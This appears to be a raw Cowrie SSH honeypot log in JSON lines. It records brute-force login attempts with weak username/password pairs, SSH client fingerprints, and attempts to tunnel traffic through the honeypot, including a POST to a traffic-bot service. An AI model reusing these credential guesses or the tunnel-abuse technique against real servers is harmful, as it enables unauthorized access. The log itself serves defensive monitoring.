{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x89,\\xf4ya\\x9c F\\xa8\\x93\\xe9\\x8f\\xf7\\xeb\\xdb\\x8a\\x17F=\\xda\\x14\\x86\\xbe\\x95\\xe2\\xe0*\\xb3\\x8bC\\x84Q \\xc8\\xb6\\xca4\\xe7d\\xf0\\xad\\x18\\xb7\\xe8v\\xccx\\x93\\xf1\\xd0\\xe5\\x18\\x90\\x93;B\\xc0\\r\\xf0\\xeb\\xda\\xe2\\x88\\x97\\xce\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 g\\xf6j\\xe5\\xab\\x93s\\xac\\xa6\\xc4\\xc9TG1\\tn\\x98#Y\\x0e\\x03\\xb5\\x1d\\xf4\\x87r#\\xb9\\xa4\\xe1A}\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x89,\\xf4ya\\x9c F\\xa8\\x93\\xe9\\x8f\\xf7\\xeb\\xdb\\x8a\\x17F=\\xda\\x14\\x86\\xbe\\x95\\xe2\\xe0*\\xb3\\x8bC\\x84Q \\xc8\\xb6\\xca4\\xe7d\\xf0\\xad\\x18\\xb7\\xe8v\\xccx\\x93\\xf1\\xd0\\xe5\\x18\\x90\\x93;B\\xc0\\r\\xf0\\xeb\\xda\\xe2\\x88\\x97\\xce\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 g\\xf6j\\xe5\\xab\\x93s\\xac\\xa6\\xc4\\xc9TG1\\tn\\x98#Y\\x0e\\x03\\xb5\\x1d\\xf4\\x87r#\\xb9\\xa4\\xe1A}\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:22.611077Z","src_ip":"123.27.168.40","session":"308735a0e807","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zan","password":"zan123","message":"login attempt [zan/zan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:22.833531Z","src_ip":"91.92.40.36","session":"f63555ad1991","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:22.975962Z","src_ip":"123.27.168.40","session":"308735a0e807","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:23.583110Z","src_ip":"173.208.188.210","session":"4d15e6819c00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32642,"dst_ip":"159.203.135.109","dst_port":22,"session":"fae2ec8fd965","protocol":"ssh","message":"New connection: 91.92.40.36:32642 (159.203.135.109:22) [session: fae2ec8fd965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:24.606405Z"}
{"eventid":"cowrie.session.closed","duration":"14.4","message":"Connection lost after 14.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:26.034518Z","src_ip":"91.92.40.36","session":"f63555ad1991","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:26.716313Z","src_ip":"91.92.40.36","session":"fae2ec8fd965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:26.719687Z","src_ip":"91.92.40.36","session":"fae2ec8fd965","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"qwerty","message":"login attempt [es/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:28.663857Z","src_ip":"91.92.40.36","session":"e1a93aabed4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:31.295959Z","src_ip":"91.92.40.36","session":"e1a93aabed4e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:31.982172Z","session":"4d15e6819c00","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:32.025093Z","session":"4d15e6819c00","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:32.051597Z","src_ip":"173.208.188.210","session":"4d15e6819c00","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03h\\xd1\\xc3\\x8c\\xaf\\xb3\\'\\xf7\\xcefo\\xce\\xc7*\\xd9\\xad\\x15\\x92M\\xa0\\x17\\xec}\\xc4\\n\\x04\\xd2\\xd8(\\xfe*/ \\xd9\\xa3\\x19\\xeb\\xa2yv\\xfc\\xb2\\x19rp\\x163{\\x92\\xffG\\x93B\\xe9O\\xb2\\xe4\\x08\\xaa\\x91\\xbb\\x0b\\xb1\"v\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 Xu5\\xfd\\xd0\\xef\\x8d\\xba\\xb1\\xcaJ\\x7f-\\xa1\\xc938\\xfdZ2\\xd6\\xff\\xb1\\xb1\\xd5\\x83\\xae5$1\\xc2\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03h\\xd1\\xc3\\x8c\\xaf\\xb3\\'\\xf7\\xcefo\\xce\\xc7*\\xd9\\xad\\x15\\x92M\\xa0\\x17\\xec}\\xc4\\n\\x04\\xd2\\xd8(\\xfe*/ \\xd9\\xa3\\x19\\xeb\\xa2yv\\xfc\\xb2\\x19rp\\x163{\\x92\\xffG\\x93B\\xe9O\\xb2\\xe4\\x08\\xaa\\x91\\xbb\\x0b\\xb1\"v\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 Xu5\\xfd\\xd0\\xef\\x8d\\xba\\xb1\\xcaJ\\x7f-\\xa1\\xc938\\xfdZ2\\xd6\\xff\\xb1\\xb1\\xd5\\x83\\xae5$1\\xc2\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:32.055118Z","src_ip":"173.208.188.210","session":"4d15e6819c00","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:32.069271Z","src_ip":"173.208.188.210","session":"4d15e6819c00","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_4_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4.2 Mobile/16G114 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1158\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=NiopQFIxZ2R3PjZnWDcqdg%3D%3DMwC%2F0RqyNy4qnzr4wEkKvBd4kXNZf00S6nW2MDuhhLbuosC6AN5b1MmQVVQmi7tQbZXFzE86QX%2F%2FB%2BnlYG%2FR2TYC5jNS8aEa7TvLxfUU1tmQYSC4LKen6LSvywy%2FIFCUfmgY8IB53ZwBhK9L14GHKKw1YWXKTMIWK5ddnkJ4uWE%2FVKxAlpr%2FSnK0x64JFEOiciE%2FWnZVJpJC%2BjjI7%2BtL1dxa6EjoNTENpUg1mhZFGyZvjgjoxkbCI32VR%2BybU%2FbBM3LN32NoZeR6RD3j1BDk7hSxIPNkcV97sPVK5d4r9IvPNkSJiAbge%2FoCsxVMko0X9XK0nPPUquKXDqeIN6YPb81Ydo%2BCYu6CZPnWQX5AMFFtHy%2FqkVtuDULwFKUqUU6iTTdNFruT3Ta9fWdeh9WYYDs2a%2F8l2KjVI0ZMXGr6IUpYpltDDHb8u6B4FC70nEjEUZCQv8Ph%2FSg3UjcK0I7vXH1GW3kuKaVBx30cfenbNS7rgnMNHzg2s0l%2BdCXOZjTCfpxIUKDB8e4PReunHI0hpX0awExcXwkmCcUHWtMWw9CDiXXG9CV4Qd8LhLFw1QFy231h20dmEUc1gREE6d4XbuqL2dbRbqvgt5SrXX29fy2QJ78VFhIHcaPjdIVErgij9QNCt1CXK666mKzhA0ogDnPKktLfLhYVY1124AzCBt6d7yNu98ooZsoy6ZIF5FtcV%2BeBzLbZVNEV%2FofBkezDgQVuuElGnHrChHEYFVPQe4hw1GbcOWC7VztjN99Ijz%2FdHrRqEl74gsTB9ud0VsNwN5d2Rf6LX8MU4CHJJBU1BIkGAWMVe8an8p44zStiYnx5gOXnJcoVCxeBErg7V0OT7akecc4inaSz9i8NdxcHtX8UM63Gf%2F3nOYxGayl5VjKmDFmClaBUk6F%2BtrX9ONG9Mv%2Bp47kjoNQcKEqYVRyEOFgWuWmzhRcLFgHGgwi3ypSfwn7yRfbjX5DfkqemwZsmF5fr1tyYmbQ%2BtVxlhIAJBDvpL6ZYaANc8F%2B5Tng9jvU%2BJ2NbbHyR0bYV6kWWj15%2Fz9Q4yXnQlvRwsgcUBauRCnA%3D'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_4_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4.2 Mobile/16G114 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1158\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=NiopQFIxZ2R3PjZnWDcqdg%3D%3DMwC%2F0RqyNy4qnzr4wEkKvBd4kXNZf00S6nW2MDuhhLbuosC6AN5b1MmQVVQmi7tQbZXFzE86QX%2F%2FB%2BnlYG%2FR2TYC5jNS8aEa7TvLxfUU1tmQYSC4LKen6LSvywy%2FIFCUfmgY8IB53ZwBhK9L14GHKKw1YWXKTMIWK5ddnkJ4uWE%2FVKxAlpr%2FSnK0x64JFEOiciE%2FWnZVJpJC%2BjjI7%2BtL1dxa6EjoNTENpUg1mhZFGyZvjgjoxkbCI32VR%2BybU%2FbBM3LN32NoZeR6RD3j1BDk7hSxIPNkcV97sPVK5d4r9IvPNkSJiAbge%2FoCsxVMko0X9XK0nPPUquKXDqeIN6YPb81Ydo%2BCYu6CZPnWQX5AMFFtHy%2FqkVtuDULwFKUqUU6iTTdNFruT3Ta9fWdeh9WYYDs2a%2F8l2KjVI0ZMXGr6IUpYpltDDHb8u6B4FC70nEjEUZCQv8Ph%2FSg3UjcK0I7vXH1GW3kuKaVBx30cfenbNS7rgnMNHzg2s0l%2BdCXOZjTCfpxIUKDB8e4PReunHI0hpX0awExcXwkmCcUHWtMWw9CDiXXG9CV4Qd8LhLFw1QFy231h20dmEUc1gREE6d4XbuqL2dbRbqvgt5SrXX29fy2QJ78VFhIHcaPjdIVErgij9QNCt1CXK666mKzhA0ogDnPKktLfLhYVY1124AzCBt6d7yNu98ooZsoy6ZIF5FtcV%2BeBzLbZVNEV%2FofBkezDgQVuuElGnHrChHEYFVPQe4hw1GbcOWC7VztjN99Ijz%2FdHrRqEl74gsTB9ud0VsNwN5d2Rf6LX8MU4CHJJBU1BIkGAWMVe8an8p44zStiYnx5gOXnJcoVCxeBErg7V0OT7akecc4inaSz9i8NdxcHtX8UM63Gf%2F3nOYxGayl5VjKmDFmClaBUk6F%2BtrX9ONG9Mv%2Bp47kjoNQcKEqYVRyEOFgWuWmzhRcLFgHGgwi3ypSfwn7yRfbjX5DfkqemwZsmF5fr1tyYmbQ%2BtVxlhIAJBDvpL6ZYaANc8F%2B5Tng9jvU%2BJ2NbbHyR0bYV6kWWj15%2Fz9Q4yXnQlvRwsgcUBauRCnA%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:32.072100Z","src_ip":"173.208.188.210","session":"4d15e6819c00","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:32.099840Z","session":"4d15e6819c00","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:32.259136Z","src_ip":"173.208.188.210","session":"4d15e6819c00","protocol":"ssh"}
